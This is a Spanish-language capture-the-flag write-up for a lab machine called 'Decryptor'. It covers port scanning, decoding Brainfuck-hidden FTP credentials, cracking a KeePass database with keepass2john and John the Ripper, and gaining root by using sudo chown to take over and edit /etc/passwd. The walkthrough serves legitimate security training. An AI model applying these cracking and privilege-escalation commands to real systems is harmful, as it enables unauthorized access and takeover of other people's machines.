> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/decryptor.md).

# Decryptor

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.83
```

para verificar la conectividad de red.

<figure><img src="/files/p3oY0UQzxYRIPmntwD4v" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.83
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/JEI4mHpkBVmIePUuoGXR" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH,** el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 2121** perteneciente al **servicio FTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,2121 -v 192.168.1.83
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/abkTfiWKi00WOItF7Vui" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página de por defecto de **Apache**.

<figure><img src="/files/RZStTlC4kBDO7y1EqfCZ" alt=""><figcaption></figcaption></figure>

Revisando el código fuente encontramos un código en **Brainfuck**, por lo que vamos a descifrarlo.

<figure><img src="/files/EKHlf8UPSDfLf0ffQObn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/K5EYn6phSAZL5DuucXYt" alt=""><figcaption></figcaption></figure>

Probamos con el servicio FTP descubierto antes con esas supuestas credenciales.

```bash
ftp 192.168.1.83 -p 2121
```

<figure><img src="/files/3T6go6BhWDwnTsoDePgk" alt=""><figcaption></figcaption></figure>

Listando encontramos un archivo llamado `user.kdbx` por lo que nos lo descargamos a nuestra máquina para echarle un vistazo.

### 🚀 **EXPLOTACIÓN**

Al abrirlo descubrimos que tiene contraseña.

<figure><img src="/files/sNxBGnUlJvjGBXSQRUR7" alt=""><figcaption></figcaption></figure>

**keepass2john** es una herramienta utilizada para convertir archivos de bases de datos de KeePass (.kdbx) a un formato compatible con herramientas de recuperación de contraseñas como **John the Ripper**. Esta conversión permite que John the Ripper procese el archivo y realice ataques de fuerza bruta u otros métodos para recuperar las contraseñas almacenadas en la base de datos de KeePass.

```bash
keepass2john user.kdbx >> hash.txt
```

Realizamos John.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/PO94FOKBRTlEap2mGBl9" alt=""><figcaption></figcaption></figure>

Hemos descubierto la contraseña por lo que volvemos a entrar.

<figure><img src="/files/LBx5VaFnO32grWzL34cP" alt=""><figcaption></figcaption></figure>

Descubrimos unas credenciales por lo que iniciamos sesión a través de **SSH**.

<figure><img src="/files/0gpZGIs4JuXBJeklNOZU" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/QB8Z0AiqESnGenEPKkDQ" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos sudo con **chown** por lo que miramos [GTFOBins ](https://gtfobins.github.io/gtfobins/chown/)para ver como podemos escalar privilegios. Para lograr esto, procederemos a modificar los permisos del archivo **/etc/passwd**, como se puede observar a continuación.

```bash
ls -la /etc/passwd
sudo /usr/bin/chown chiquero /etc/passwd
```

<figure><img src="/files/WKQyiv6GJVrjaJ1N6TWJ" alt=""><figcaption></figcaption></figure>

Ahora con nano quitamos los permisos.

```bash
nano /etc/passwd
cat /etc/passwd
```

Ahora restauramos los permisos a su configuración original.

```bash
sudo /usr/bin/chown root /etc/passwd
```

Comprobamos.

```bash
ls -la /etc/passwd
```

<figure><img src="/files/xKxeLcmtVUoNsznNCRae" alt=""><figcaption></figcaption></figure>

Con el comando `su` ya somos **root**.

<figure><img src="/files/FsmD3BtiyCCscYBRnt8c" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
